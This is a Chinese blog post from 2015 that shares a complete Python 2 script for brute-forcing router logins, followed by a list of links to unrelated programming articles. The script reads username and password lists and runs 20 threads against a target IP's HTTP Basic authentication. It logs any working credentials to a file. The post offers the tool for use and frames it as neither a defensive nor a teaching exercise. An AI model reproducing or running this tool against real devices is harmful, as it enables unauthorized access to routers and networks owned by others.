python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
python算法学习之基数排序实例
Dec 18 Python
在Linux系统上安装Python的Scrapy框架的教程
Jun 11 Python
Python 实现两个列表里元素对应相乘的方法
Nov 14 Python
Windows 8.1 64bit下搭建 Scrapy 0.22 环境
Nov 18 Python
Python3.5装饰器典型案例分析
Apr 30 Python
python flask web服务实现更换默认端口和IP的方法
Jul 26 Python
Django xadmin开启搜索功能的实现
Nov 15 Python
Python-opencv 双线性插值实例
Jan 17 Python
Pandas读取csv时如何设置列名
Jun 02 Python
Matplotlib中rcParams使用方法
Jan 05 Python
浅谈Python项目的服务器部署
Apr 25 Python
聊聊基于pytorch实现Resnet对本地数据集的训练问题
Mar 25 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
php生成局部唯一识别码LUID的代码
2012/10/06 PHP
php-beanstalkd消息队列类实例分享
2017/07/19 PHP
PHP判断json格式是否正确的实现代码
2017/09/20 PHP
麦鸡的TAB切换功能结合了javascript和css
2007/12/17 Javascript
JS中不为人知的五种声明Number的方式简要概述
2013/02/22 Javascript
javascript显示用户停留时间的简单实例
2013/08/05 Javascript
jquery ajax方式直接提交整个表单核心代码
2013/08/15 Javascript
浅谈nodeName,nodeValue,nodeType,typeof 的区别
2015/01/13 Javascript
javascript实现类似java中getClass()得到对象类名的方法
2015/07/27 Javascript
谈谈我对JavaScript原型和闭包系列理解(随手笔记6)
2015/12/20 Javascript
基于JS实现EOS隐藏错误提示层代码
2016/04/25 Javascript
JavaScript接口的实现三种方式(推荐)
2016/06/14 Javascript
微信小程序实现分享到朋友圈功能
2018/07/19 Javascript
JavaScript链式调用实例浅析
2018/12/19 Javascript
Python实现股市信息下载的方法
2015/06/15 Python
Python cookbook(数据结构与算法)从序列中移除重复项且保持元素间顺序不变的方法
2018/03/13 Python
Python中的并发处理之asyncio包使用的详解
2018/04/03 Python
浅谈Python反射 & 单例模式
2019/03/21 Python
详解Numpy数组转置的三种方法T、transpose、swapaxes
2019/05/27 Python
详解PyCharm+QTDesigner+PyUIC使用教程
2019/06/13 Python
PyQtGraph在pyqt中的应用及安装过程
2019/08/04 Python
Python 生成VOC格式的标签实例
2020/03/10 Python
Python如何解除一个装饰器
2020/08/07 Python
虚拟环境及venv和virtualenv的区别说明
2021/02/05 Python
Canvas在超级玛丽游戏中的应用详解
2021/02/06 HTML / CSS
施华洛世奇加拿大官网:SWAROVSKI加拿大
2018/06/03 全球购物
Bravofly德国:预订廉价航班和酒店
2019/09/22 全球购物
环保公益广告语
2014/03/13 职场文书
医院义诊活动总结
2014/07/04 职场文书
公司员工管理制度
2015/08/04 职场文书
2016大学军训通讯稿
2015/11/25 职场文书
2020年元旦祝福语录,总有适合你的
2019/12/31 职场文书
nginx简单配置多个server的方法
2021/03/31 Servers
教你用python实现一个无界面的小型图书管理系统
2021/05/21 Python
Java基础之线程锁相关知识总结
2021/06/30 Java/Android
Echarts如何重新渲染实例详解
2022/05/30 Javascript